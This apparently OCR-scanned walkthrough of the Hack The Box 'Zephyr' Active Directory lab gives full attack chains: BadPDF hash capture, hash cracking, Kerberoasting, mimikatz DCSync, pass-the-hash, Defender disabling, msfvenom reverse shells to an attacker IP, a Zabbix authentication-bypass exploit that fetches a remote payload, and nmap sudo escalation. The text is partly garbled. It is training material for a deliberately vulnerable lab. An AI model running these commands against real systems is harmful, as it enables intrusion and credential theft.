Zephyr 3 Compressed
Zephyr 3 Compressed
Zephyr
17 October 2022 / Document No. D22.103.06
Version: 1.0
Classification: Confidential
Description
Zephyr is an intermediate level real-world enterprise environment that features a wide range of modern
Active Directory flaws and misconfigurations. Zephyr Server Management is mandated to have quarterly
penetration tests as per financial regulatory body compliance requirements, and are focused on patching.
The company has completed several acquisitions, with the acquired entities being "plugged in" by means of
domain trusts.
You have been assigned the task of testing the internal network and have been given access to a VPN to
communicate with the network. You are tasked to explore the corporate environment, pivot across trust
boundaries, and ultimately attempt to compromise all Painters and Zephyr Server Management entities.
Zephyr will test your understanding of Active Directory enumeration, exploitation, and post-exploitation as
well as lateral movement, pivoting, and modern web application attacks. Some flags are required to
advance through the lab, while others are side-quests that reinforce enumeration and post-exploitation
Skills.
This Red Team Operator Level | lab will expose players to:
Enumeration
Exploitation of a wide range of real-world Active Directory flaws
Relay Attacks
Lateral movement and crossing trust boundaries
SQL Attacks
Privilege escalation
Web application attacks
The Premonition
We'll begin by performing a ping sweep on the 10.10.110.0/24 subnet to identify exposed hosts.
eee
The -sn flag in nmap disables port scanning and discovers hosts based on ICMP requests. It was able to
find two active hosts, out of which 10.10.110.2 can be ignored as it's the lab controller. Let’s do a full port
SYN scan, with service and version enumeration to discover open ports on this host.
The host 10.10.110.35 found to have three open ports. Browsing to port 80 redirects us to
https://painters.htb. Let's add the domain name to our /etc/hosts file.
The landing page displays a companies business page for a painting and decorating business.
+44 012 345 6789 info@painters.htb
The site has limited functionality, but we notice in the vacancies section of the site that we can apply for
job applications by uploading a PDF. Application enforcing strict content validation against other formats.
We notice that there is a message about applications being reviewed on a first come first serve basis,
indicating that there must be an employee of the organization validating the applications after submission.
Apply now!
All applications will be reviewed by our staff on a first come first serve basis
so please be patient as there may be a delay in responses.
Assuming that someone is opening PDFs then we could attempt to capture a hash for the network using
BadPDF metasploit module. Set up Responder utility locally and listen for SMB requests.
msfconsole
use auxiliary/fileformat
/badpdf
set filename application.pdf
This generates a PDF locally. Navigate to vacancies section of the website and upload the PDF.
/ —
i j EF j
‘2— ' St
Apply now!
All applications will be reviewed by our staff on a first come first serve basis
Bax so please be patient as there may be a delay in responses
NTLMv2-SSP Client
NTLMv2-SSP Username :
NTLMv2-SSP Hash
301 a 1E49C
Hashcat can be used to crack the hash. This reference link explains how to crack the hash using local
utilities for NTLMv2.
cp /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.110.35.txt hash.txt
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
eee
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.
txt
* Passwords.: 14344385
* : 139921507
* Keyspace..: 14344385
: hashcat
: NetNTLMv2
Hash. Target : RILEY: : PAINTERS: 9955c71leb3f7619: 206a2e31855a74a20c. . .000000
Time.Started : Mon Dec 26 23:58:40 2022 (1 sec)
Time.Estimated...: Mon Dec 26 23:58:41 2022 (0 secs)
Guess.Base : File (/usr/share/wordlists/rockyou.
txt )
Guess .Queue : 1/1 (100.00%)
Speed. #1 ; 586.0 kH/s (1.72ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered : 1/1 (100.00%) Digests
Progress > 8192/14344385 (0.06%)
Rejected : 0/8192 (0.00%)
Restore. Point > 6144/14344385 (0.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1 : horoscope -> whitetiger
This is successful and the password is cracked. Using the credentials riley : P@sswO0rd
we can
authenticate to SSH and obtain the first flag.
eee
ssh riley@painters.htb
riley@painters.htb's password:
<SNIP>
riley@mail:~$ id
uid=1003(riley) gid=1003(riley) groups=1003(riley)
riley@mail:~$ cat flag.txt
ZEPHYR{HuM4n_3rr0r_1s_OuR_DOwnf411}
Recycled
Having foothold on the system we can start exploring the internal network. Let's check the network
interfaces information.
@ @ «
riley@mail:~$ ifconfig
eth0: flags=4163<UP ,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.110.51 netmask 255.255.255.0 broadcast 192.168.110.255
inet6 fe80::250:56ff:feb9:cdfl prefixlen 64 scopeid 0x20<Link>
ether 00:50:56:b9:cd:f1 txqueuelen 1000 (Ethernet)
RX packets 4573 bytes 766725 (766.7 KB)
RX errors 0 dropped 82 overruns 0 frame 0
TX packets 3539 bytes 2533511 (2.5 MB)
TX errors © dropped © overruns 0 carrier @ collisions 0
<SNIP>
The output reveals the internal network range. We can make use of ping to identify live hosts in this
network range. Issue below commands in the mail session.
for iin {1..255};do ping -c 1 192.168.110.$i > /dev/null;if [ $? -eq 0 ];then echo
192.168.110.513;
fi; done
@@«
192.168.110.1
192.168.110.51
192.168.110.52
192.168.110.53
192.168.110.54
192.168.110.55
This identified 6 hosts which includes the gateway 192.168.110.1 and the host itself 192.168.110.51.
There is another host which doesn't respond to ping but show up in the arp output.
© @¢
wget https://github.com/andrew-d/static-—binaries/raw/master/binaries/linux/x86_64/nmap
<SNIP>
Nmap scan report for 192.168.
PORT STATE SERVICE
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open unknown
Nmap scan output shows that there is a domain controller on 192.168.110.55 followed by numerous
Windows machines across the network. Since we have SSH access to the network, we can utilize ss!
utility to forward all connections to us to locally perform enumeration against the internal network.
sudo sshuttle -r riley@10.10.110.35 192.168.110.0/24 -v
Let's attempt to see if we can reuse the credentials in any of the machines in the network through WinRM.
@@¢
Attempt is successful and the credentials do work on .56 host. Let's login to the host with WinRM.
ee
*xEvil-WinRM* PS C:\Users\riley.PAINTERS\Documents>
Checking our current user we can see that the domain user is not part of the local administrators for the
machine.
eee
GROUP INFORMATION
Checking the c:\Users\ directory, we can see that there is a local account called riley on the system.
Checking the local group memberships of riley shows that the user is in fact a local administrator on the
system.
eee
<SNIP>
Logon hours allowed All
To gain access to the local riley account we exit the current session and login to WinRM without the
domain, which lets us authenticate as the local administrator.
@@¢
mkdir c:\temp
add-mppreference -ExclusionPath c:\temp
P@sswOrd
eee
@eeé
Analysis
KRBTGT@PAINTERS.HTB
Shortest Paths to Unco' trained Delegation Systems
We can perform GetUserSPNs to extract a hash for a service account from the domain controller.
ee
GetUserSPNs.py -request -dc-ip 192.168.110.55 '‘painters.htb/riley:P@ssw0rd'
We focus On web_svc for now and save the hash. Hashcat can be used to crack the hash.
$krb5tgs$23$*xweb_svc$PAINTERS.HTB$painters.htb/web_svc*$0fd17cbeb74044a80b944147c6366092$ac009e
31fb83c7d957f2dee616a24832aef 309fc9a7Ocb6eea2da8dc280F317703946c99b3daf26a7591bcb13afa8leca<SNIP
>: !QAZ1qaz
Session : hashcat
Status : Cracked
Hash. Target
Time.Started
Time.Estimated...: Tue Dec 27 04:26:10 2022, (0 secs)
Guess.Base : File (/usr/share/wordlists/rockyou.
txt)
Guess.Queue : 1/1 (100.00%)
Speed. #1 : 927.6 kH/s (7.93ms) @ Accel:64 Loops:1 Thr:64 Vec:4
Recovered : 1/1 (100.00%) Digests
Progress : 40960/14344385 (0.29%)
Rejected : 0/40960 (0.00%)
Restore.Point : 32768/14344385 (0.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates .#1 : dyesebel -> loserfacel
Attempting to reuse these credentials across the network shows that we can gain code execution on
192.168.110.52.
C:\Windows\system32> whoamt
nt authority\system
®@
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-
20220919/mimikatz_trunk.
zip
wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
Then spawn a python3 web server on local machine. In general in enterprise networks both the inbound
and outbound connections are allowed for application traffic (port 80 and 443).
From the SVC machine, use powershell to grab mimikatz.exe and nc64.exe executables.
powershell
From the new shell we can use mimikatz.exe and dump the SAM.
mimikatz.exe
privilege: :debug
lsadump::sam
eee
C:\Users\Administrator\Documents>mimikatz.exe
mimikatz # lLsadump::sam
Domain : PNT-SVRSVC
SysKey : b131lea5c8206a94e3d32119d035961a9
Local SID : S-1-5-21-1894836871-1209905952-3336604744
SAMKey : 21027b48a361fb0094c6eb79509e228d
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 6ee87fa6593a4798fe651F5f5a4e663e
<SNIP>
User : James
Hash NTLM: 8af1903d3c80d3552a84b6ba296db2ea
<SNIP>
Now we have a NTLM for James user. Using crackmapexec we can check if the hash can be reused across
the network.
ee°@
SMB 192.168.110.52 PNT-SVRSVC [*] Windows 10.0 Build 20348 x64 (name:PNT-SVRSVC) (domain:.) (signing:False) (SMBv1:False)
SMB 192.168.110.55 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:.) (signing:True) (SMBv1:False)
SMB 192.168.110.53 PNT-SVRBPA [*] Windows 10.0 Build 20348 x64 (name:PNT-SVRBPA) (domain:.) (signing:False) (SMBv1:False)
SMB 192.168.110.52 PNT-SVRSVC [-] .\James: :8af1903d3c80d3552a84b6ba296db2ea STATUS_PASSWORD_EXPIRED
SMB 192.168.110.52 PNT-SVRSVC [-] Error enumerating shares: Error while reading from remote
SMB 192.168.110.55 DC [ -] .\James: :8af1903d3c80d3552a84b6ba296db2ea STATUS_LOGON_FAILURE
3 192.168.11 44 N } 19 13¢ d355 4b6ba296d a (Pwn3d!
We have a successful authentication against the PNT-SvRBPA machine. Using psexec we Can gain a shell
by passing
the hash.
psexec.py 'james@192.168.110.53' -hashes :8af1903d3c80d3552a84b6ba296db2ea
@@
C:\Windows\system32> whoamt
nt authority\system
4
S
Node Info @
PNT-SVRBPA.PAINTERS.HTB PAINTERS.HTB
o
thin Domain/OU Tree PNT-SVRBPA PAINTERS.HTB BLAKE@PAINTERS.HTB DC.PAINTERS.HTB DOMAIN CONTROLLERS@PAINTERS.HTB
BLAKE@PAINTERS.HTB is allowed to delegate to the domain controller which allows us to impersonate the
pc machine account to perform a DCSync attack. To leverage this we upload PowerView.ps1 to the PNT-
SVRBPA machine and issue the following commands to change password for blake user.
SUserPassword —Verbose
Suser = 'painters\blake'
Spasswd = 'Password123!'
When trying to authenticate to the domain controller we get an access denied error, which is same for the
PNT-SVRBPA machine. We try to authenticate to PNT-SvRPsB machine and are successfully able to execute
commands on the server.
eee
eee
C:\Users\Blake\Documents>whoamt
painters\blake
Checking the groups it can be seen that blake is part of the local administrators group.
ee6¢
C:\Users\Blake\Documents>whoami /groups
GROUP INFORMATION
type c:\users\administrator\desktop\flag.txt
eee
C:\Users\Blake\Documents>type c:\users\administrator\desktop\flag.txt
ZEPHYR{7h3_Tru57_h45_B3eN_Br0k3n}
Domination
Referring back to BloodHound output we saw that blake has constrained delegation over the domain
controller. To exploit this we will request a TGT from the domain controller using Rubeus.exe. We download
Rubeus locally and transfer it to pNr-svresB shell. Disable Windows Defender in order to run Rubeus
executable.
. \Rubeus.exe tgtdeleg
Rubeus failed to delegate. This is because UAC requires the executable to be run as administrator. To
bypass this we enable RDP and gain access to the system. Issue below commands to enable RDP and allow
it on firewall.
"fDenyTSConnections" -Value 0
From anew terminal, open remmina and enter the following information.
°@
@ 192.168.110.54 x
Username blake
Password eeeeeeeeeeee
Save password
OK
Once the RDP access is obtained, type 15 to go to a PowerShell prompt, then navigate to Documents folder
and attempt Rubeus again.
i 2) ge a
ae ee ie Ne eeee)
Bs) e l eee ||| | es |
doIFZDCCBWCgAwIBBaEDAgEWooIEf DCCBHhhggROMIIECKADAgEFoQ4bDFBBSU5URVITLKhUQqIhMB+g
AwIBAgEYMBYbBmtyYnRndBsMcGFpbnRLcnMuahHRio4IENDCCBDCgAwIBEqEDAgECooIEIgSCBB7Qq3Wv
<SNIP>
ServiceName : krbtgt/painters.htb
ServiceRealm : PAINTERS.HTB
UserName : blake
UserRealm : PAINTERS.HTB
StartTime : 27/12/2022 10:58:22
EndTime $+ 27/12/2022 20:58:22
RenewTill : 03/01/2023 10:58:22
Flags : mame_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key ) : D/8/tv2LKI6gr0TXxzT1Q==
ASREP (key) : 2B576ACBE6BCFDA7294D6BD18041B8FE
With the extracted ticket it is now possible to impersonate the pcs machine account of the domain
controller since that has dcsync rights over painters.htb.
- = je ee
me ee IN eee)
tll fel) eee
ae/.
Action: S4U
Action: S4U
doIFbjCCBWqgAwIBBaEDAgEWooIEhzCCBINhggR/MIIEe6ADAgEFoQ4bDFBBSUSURVITLKhUQqISMBCg
<SNIP>
doIGE j CCBg6gAwIBBaEDAgEWooI
FKzCCBSdhggU jMIIFH6ADAgEFoQ4bDFBBSUSURVITLKhUQgIiMCCg
<SNIP>
doIGE j CCBg6gAwIBBaEDAgEWooIFKzCCBSdhggU
j MI IFH6ADAgEFoQ4bDFBBSU5URVITLkKhUQqIiMCCg
<SNIP>
Checking klist we can see that the pcs machine account ticket has been imported.
@@«
PS C:\Users\Blake\Documents> klist
Using mimikatz we can now perform a dcsync attack using the LDAP MSDSSPN of the domain controllers
machine account ticket.
-\mimikatz.exe
lsadump::dcsynce /user:painters\krbtgt /all /csv
®©@@
PS C:\Users\Blake\Documents> .\mimikatz.exe
Using the administrator hash we can now get a Evil-wWinRm session and read the flag.
eee
Object ID §-1-5-21-1470357062-2280927533-300823338-4101
Last Logon 0
Enabled True A
Compromise False
d
Password True
Never
Expires
Cannot Be False
Delegated
ASREP False
Roastable
Utilizing our RDP session, we can use the DCSync to check for old passwords.
* Primary:CLEARTEXT *
L1if30f4SpringChick3n!
This revealed a plaintext password for the web server administrator. Login to foothold machine as matt
using the obtained password. Enumerating the sudo entry it can seen that matt can run any command on
the system as root SO Wwe Spawn /bin/bash and read the root flag.
eee
matt@mail:~$ sudo -1l
[sudo] password for matt:
Matching Defaults entries for matt on mail:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest
()).GetAllTrustRela
tionships()
ee
*Evil-WinRM* PS C:\Users\Administrator\Documents>
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest( )).GetAllTrustRelattionships( )
Let's attempt to ping the zsm.local domain and see if there is a connection to the network.
@ @ <
We need to find a way to reach our localhost machine from the internal network. We construct a metasploit
payload and start a listening server.
msfvenom —p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443 -f£ exe -o
shell.exe
sudo msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 443
run
We now have to disable Windows Defender on the domain controller then upload the newly created
shell.exe through our Evil-winrm shell.
upload shell.exe
.\shell.exe
Checking our metasploit console we see that we have a meterpreter shell as administrator.
eee
Using the zsm.local IP address CIDR, we perform a ping sweep to identify potential targets on the
zsm.local network.
background
use post/multi/gather/ping_sweep
set RHOSTS 192.168.210.0/24
eee
[msf](Jobs:0 Agents: 1) post(multi/gather/ping_sweep) >> run
At this stage we add a route to the forest network and perform a port scan to look for ports 80 and 443 to
identify potential web servers on the forest domain.
background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.210.12-16
set ports 80,443
run
@e@@
We have identified potential web servers, now lets forward the ports locally so we can see what is being
used on them.
sessions 1
ee
When navigating to https://192.168.210.13 we are presented with a zabbix login screen, we notice
that zabbix also supports SSO authentication.
@ CC O84 192.168.210.13
OS OHack The Box OOSINT Services MVulnDB © Privacy and Security [Learning Resources
ZABBIX
Username
Password
Signin
By clicking Help under the login panel, we are redirected to this link which exposes the version as 5.4.
Searching online for this particular version leads us to CVE-2022-23131. To be able to exploit this we need to
know a valid username, the default username and password is admin/zabbix as shown by Google. We find
a proof of concept exploit code on GitHub. Using this exploit code we attempt to exploit the target with the
default username.
ee
ee
When debugging we can see that the script is failing but not printing any information. In the script we
uncomment the following 2 lines and run the exploit again.
We paste this new session token into the zbx_session field through dev tools storage tab on FireFox like
follows:
ZABBIX
Username
Password
CO Inspector Console (> Debugger ‘NY Network {} StyleEditor (J) Performance 4}: Memory [] Storage Ff Accessibility $82 Application Ge:
& cache storage +Cou
B cookies Name Value Domain Path Expires /Max-Age Size HttpOnly Secure SameSite Last Accessed
@ hitps://127.0.0.1
& indexed 0B
EB Local storage
& session Storage
Then click on Sign in with Single Sign-On (SAML) , we are logged into the application.
ZABBIX <<*® Global view
Q
Dashboard 6
localhost:10051 i Total
Problems Zabbix server is running
Checking the Hosts tab, we see a bunch of machines being monitored by zabbix, ZPH-SVRSQLO1 and
ZPH-SVRDCO1 agents cannot connect to the zabbix Server, ZPH-SVRCHR and ZPH-SvRcSUP have not been
configured properly but we have multiple machines on the current domain that are functional. Right click on
Zabbix Server and select Detect Operating System to discover that Zabbix Server is in fact a Linux
server.
Zabbix allows us to edit scripts to execute against the zabbix Server and Zabbix Agents for
maintenance purpose aS Administrator user. To abuse this we visit Administration -> Scripts ->
Create Script .We will set up a script to grab our payload from our web server and apply executable
permissions to the payload.
General
Proxies
Authentication
User roles
Users
Media types
Enable confirmation
Confirmation text
© Monitoring
Scop: Action operation Manual host action Manual event action
General
Proxies
Authentication
User groups Description
User roles
Users
Media types
Enable confirmation
Confirmation text
We create a reverse shell payload for bash.sh then start a Python3 web server locally on port 80 to grab
our payload.
Navigate to Monitoring -> Hosts and right clickon Zabbix Server then select Get shell to execute the
command onthe Zabbix Server.
Problems
Ip
Hosts
Latest data
Warning
Maps Information Average
Discovery
Services
Inventory
de.painters.htb 192.168.110.55:10050
Reports
Zabbix ser" 97 0.0.1:10050
nfiguration
SEE C EE ZPH-SVR 168.210.14:10050
Inventory
Administration ZPH-SVR' Latest data 168.210.12:10050
ZPH-svRi Problems 168.210.17:10050
Graphs
ZPH-SVR 168.210.18:10050
Dashboards
ZPH-SVR 168.210.10:10050
ZPH-SVR: Configuration 168.210.15:10050
Execute shell
Get shell
Ping
Traceroute
After executing we see the script output showing curl made an outbound request.
Get shell
Checking our web server we see that the server collected our payload.
Problems Contains
Oo Sho in maintenance
Latest data
High
Disaster
Inventory
110.55:10050
Reports
10050
Configuration
Administration»
Checking our netcat listener we see we have obtained a shell as zabbix user.
@@@
We noticed before that zabbix is utilizing nmap for scanning hosts. According to the documentation nmap
needs to have sudo privileges to be able to operate successfully. Checking sudo -1 output we can see that
zabbix Can run nmap without a password.
eee
zabbix@zephyr:/$ sudo -l
Matching Defaults entries for zabbix on zephyr:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin\:/snap/bin
Using this link we can see that this privilege can be abused to gain root privileges. Issue below commands to
get root shell.
TF=S (mktemp)
zabbix@zephyr:/$ TF=$(mktemp )
zabbix@zephyr:/$ echo 'os.execute("/bin/sh")' > $TF
zabbix@zephyr:/$ sudo nmap --script=$TF
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-28 06:19 UTC
NSE: Warning: Loading '/tmp/tmp.ekPiF414Ts' -- the recommended file extension is -nse .
id
uid=0( root) gid=0( root) groups=0( root)
/bin/bash -1i
root@zephyr:/# cat /root/flag.txt
ZEPHYR{Abu51ng_d3f4ul7_Func710n4li7y_ftw}
Diverted
Enumerating the file system we come across zabbix_server.conf which contains the database password
for zabbix.
eee
<SNIP>
mysql> show tables;
<SNIP>
We save the password for marcus to file and use hashcat to crack it.
: hashcat
: Cracked
: bcrypt $2*$, Blowfish (Unix)
Hash. Target
$2y$10$dHMYveVV/xZoM5sc9cPHGe4xUukdyOM91C.LI8TrpRQA...eXhm4.
Time.Started : Wed Dec 28 01:32:48 2022 (6 mins, 57 secs)
Time.Estimated...: Wed Dec 28 01:39:45 2022 (0 secs)
Guess.Base : File (/usr/share/wordlists/rockyou.txt )
Guess.Queue : 1/1 (100.00%)
Speed.#1 : 33 H/s (7.78ms) @ Accel:2 Loops:64 Thr:1 Vec:4
Recovered : 1/1 (100.00%) Digests
Progress > 13896/14344385 (0.10%)
Rejected : 0/13896 (0.00%)
Restore.Point : 13892/14344385 (0.10%)
Restore.Sub.#1...: Salt:0 Amplifier:@0-1 Iteration: 960-1024
Candidates .#1 : !QAZ2wsx -> superpet
We have successfully obtained the password for a user called marcus. Lets try to authenticate to any of the
servers in the domain. We generate a meterpreter payload for Linux based systems on our local machine.
sudo msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost tun0
run
cd /tmp
./shell.elf
eee
We drop into a shell and run nmap against the internal network looking for open ports 5985 for WinRM
access.
eee
We try to perform a password spray against the network. We set up an autoroute from the meterpreter
shell which will grant us access to the entire network using a socks4a proxy.
@@ é
Background
the session and use the socks_proxy auxiliary module with the following settings.
eee
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> use auxiliary/server/socks_proxy
[msf](Jobs:0 Agents:1) auxiliary(server/socks_proxy) >> set VERSION 4a
VERSION => 4a
[msf](Jobs:0 Agents:1) auxiliary(server/socks_proxy) >> run
[*] Auxiliary module running as background job 0.
Strict. chain
quiet_mode
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
Unfortunately crackmapexec does not seem to work with proxychains, instead we manually try to log into
the servers and find that we can authenticate to 192.168.210.11.
ee°
proxychains evil-winrm -i 192.168.210.11 -u 'zsm\marcus' -p '!QAZ2wsx'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.210.11:5985-<><>-0K
*xEvil-WinRM* PS C:\Users\marcus\Documents>
We upload a windows enumeration script winPEAS.bat and notice that there are chrome passwords stored
on the system which we will come back to later.
upload winPEAS.bat
. \winPEAS .bat
eee
upload SharpHound.exe
eee
eee
Download the newly created zip file locally then import it into BloodHound.
MARCUS@ZSM.LOCAL
ZPH-SVRMGMT1.ZSM.LOCAL GENERAL MANAGEMENT@ZSM.LOCAL JAMIE@ZSM.LOCAL CA MANAGERS@ZSM.LOCAL ZPH-SVRCAQ1.ZSM.LOCAL
= MARCUS@ZSM.LOCAL A K Y
ZPH-SVRMGMT1.ZSM.LOCAL >
EXECUTION RIGHTS -
We notice that marcus can leverage Shadow Credentials by taking advantage of the
AddKeyCredentialLink permissions against the zPH-svRMGMT1 machine. Using this link we get an
explanation of how the attack works and the steps to perform the attack. We begin by downloading and
compiling Whisker.exe then upload Rubeus.exe and Whisker.exe to the target. Check if whisker.exe
can locate the target machine account. Due to UAC we need to migrate process to be able to run
Whisker.exe. First generate a Windows based payload and upload to target from our Evil-winrs shell.
# Locally
msfvenom -—p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443 -f£ exe >
shell.exe
# Evil-WinRM shell
upload shell.exe
.\shell.exe
Checking our metasploit console we see we captured a shell. We migrate a new process.
eee
Since we have a meterpreter shell we can also dump the chrome passwords identified with winPEAS.bat .
background
use post/windows/gather/enum_chrome
set session 2
run
eee
Decrypted data
ohyr.atlassian.htb/
Since we migrated processes, we can now execute the Whisker.exe without any issues.
# Evil-WinRM Shell
upload Whisker.exe
# Meterpreter session
shell
cd c:\users\marcus\documents
Whisker.exe list /target :ZPH-SVRMGMT1$
—@
Since no entries exist for the machine account, we can create a certificate for it.
Using Rubeus command provided by Whisker.exe we can create and apply a Kerberos ticket of the
machine account but we need to add the /ptt option to automatically import the ticket.
# Evil-WinRM Shell
upload Rubeus.exe
# Meterpreter session
CredentialInfo
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount so
NTLM : DB278E58DA005F9D3DE35836218BA500
Checking klist we can see that a new ticket for the machine account has been applied to us.
e@@e@
c:\Users\marcus\Documents>klist
Focusing on movement to jamie now, we see that ZPH-SVRMGMT1 can add group members to GENERAL
MANAGEMENT who can then reset the jamie account password. In our Evil-winRm shell
we upload
PowerView to the target and then switch back to our meterpreter Shell
to add marcus to the GENERAL
MANAGEMENT group.
# Evil-WinRM shell
upload PowerView.psl
# Meterpreter shell
powershell -ep bypass
.\PowerView.psl
Add-DomainGroupMember -Identity 'GENERAL MANAGEMENT' -Members 'marcus'
GroupDomain : zsm.local
GroupName : General Management
GroupDistinguishedName : CN=General Management ,CN=Builtin,DC=zsm,DC=local
MemberDomain : zsm. local
MemberName : jamie
MemberDistinguishedName : CN=Jamie Smith, 0U=Users ,0U=Zephyr ,OU=Sites ,DC=zsm,DC=Local
MemberObjectClass : user
MemberSID : S-1-5-21-2734290894-461713716-141835440-4602
We successfully added marcus to the GENERAL MANAGEMENT group. Now we need to change the password
for jamie. Remember to purge klist tickets because the machine account has excessive ones and returns
authentication errors.
klist purge
-Verbose
eee
Exit out of the Evil-winkrm shell and authenticate as jamie. This will allow us to read the administrator
flag in c:\users\administrator\desktop\flag.txt
eee
©
ZPH-SVRCA01.ZSM.LOCAL
Mel EES MESS CA MANAGERS@ZSM.LOCAL
Upload PowerView.ps1 to the target to add the jamie account into the ca Managers group.
upload PowerView.psl
. \PowerView.psl
Add-DomainGroupMember -Identity 'CA Managers' -Members 'jamie'
It seems that the ACLs on the machine are preventing our execution, to bypass this we enable the RDP on
this machine and access the desktop to perform the attack.
proxychains remmina
Once authenticated as jamie we fire up a PowerShell window, import PowerView and add jamie into
the CA Managers group.
. \PowerView.psl
Add-DomainGroupMember -Identity 'CA Managers' -Members 'jamie'
®@e@
PS C:\users\jamie\Documents> . .\PowerView.psl
PS C:\users\jamie\Documents> Add-DomainGroupMember -Identity 'CA Managers' -Members ‘jamie’
PS C:\users\jamie\Documents> Get-DomainGroupMember -Identity ‘CA Managers'
GroupDomain : zsm.local
GroupName : CA Managers
GroupDistinguishedName : CN=CA Managers, CN=Builtin,DC=zsm,DC=local
MemberDomain : zsm.local
MemberName : jamie
MemberDistinguishedName : CN=Jamie Smith,OU=Users ,0U=Zephyr ,OU=Sites ,DC=zsm,DC=Local
MemberObjectClass : user
MemberSID : S-1-5-21-2734290894-461713716-141835440-4602
GroupDomain : zsm.local
GroupName : CA Managers
GroupDistinguishedName : CN=CA Managers, CN=Builtin,DC=zsm,DC=local
MemberDomain : zsm.local
MemberName : Ca_SVC
MemberDistinguishedName : CN=ca_svc,0U=Service
Accounts , OU=Users , OU=Zephyr , OU=Sites ,DC=zsm,DC=Local
MemberObjectClass : user
MemberSID : S-1-5-21-2734290894-461713716-141835440-4104
To abuse GenericAll we take advantage of both PowerMad and Powerview PowerShell modules. First we
upload Powermad and Rubeus Via Evil-WinRM and create a fake machine through the RDP.
# Evil-WinRM shell
upload Rubeus.exe
upload Powermad.ps1l
# RDP PowerShell
. \Powermad.ps1
SSecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
eee¢
$SD.GetBinaryForm(SSDBytes, 0)
ee
PS C:\users\jamie\Documents> .\Rubeus.exe hash /password:Summer2018! /user:test01 /domain:zsm. local
Impersonate the domain administrator on the zPH-SRVvcAO1 machine and export the ticket.
EN
=|
Action: S4U
List the klist tickets to make sure we have successfully imported the correct tickets.
klist
eee
PS C:\users\jamie\Documents> klist
dir \\ZPH-SVRCA01\c$
type \\ZPH-SVRCA01\c$\Users\Administrator\Desktop\flag.txt
@@e
Directory: \\ZPH-SVRCA01\c$
16/03/2022 inetpub
08/05/2021 PerfLogs
21/10/2022 Program Files
08/05/2021 Program Files (x86)
16/03/2022 Users
10/08/2022 Windows
ee:
root@zephyr:/tmp# nmap -T4 -sV 192.168.210.15
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-28 09:25 UTC
<SNIP>
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack ttl 128
1433/tcp open ms-sql-s syn-ack ttl 128 Microsoft SQL Server
Port scan reveals that the SQL Server is running on the target host. Going back to zabbix, we remember
that we gained credentials to the database. We can try to reuse those credentials and use any of the
exploited machines to import PowerUpSQL.ps1 for reconnaissance. Since we already have a Evil-wWinRM
shell as marcus we will perform the enumeration from there.
upload PowerUpSQL.ps1l
. \PowerUpSQL.ps1
Invoke-SQLAudit -Instance ZPH-SVRSQLO1.zsm.local -Verbose -username zabbix -password
rDhHbBEfh35sMbkY
*Evil-WinRM* PS C:\Users\marcus\Documents> . .\InvokePowerUpSQL.ps1l
*Evil-WinRM* PS C:\Users\marcus\Documents> Invoke-SQLAudit -Instance ZPH-SVRSQLO1.zsm.local -
Verbose -username zabbix -password rDhHbBEfh35sMbkY
Verbose: LOADING VULNERABILITY CHECKS.
Verbose: RUNNING VULNERABILITY CHECKS.
Verbose: ZPH-SVRSQLO1.zsm.local : RUNNING VULNERABILITY CHECKS...
<SNIP>
ComputerName : ZPH-SVRSQLO1.zsm.
local
Instance : ZPH-SVRSQLO1.zsm. local
Vulnerability : Excessive Privilege - Impersonate Login
Description : The current SQL Server login can impersonate other logins. This may allow an
authenticated login to gain additional privileges.
Remediation : Consider using an alterative to impersonation such as signed stored procedures.
Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can
be removed using a command like: REVOKE IMPERSONATE ON
Login::sa to [user]
Severity : High
IsVulnerable : Yes
IsExploitable : Yes
Exploited : No
ExploitCmd : Invoke-SQLAuditPrivimpersonateLogin -Instance ZPH-SVRSQLO1.zsm.local -Exploit
Details : zabbix can impersonate the sa SYSADMIN login. This test was ran with the zabbix
login.
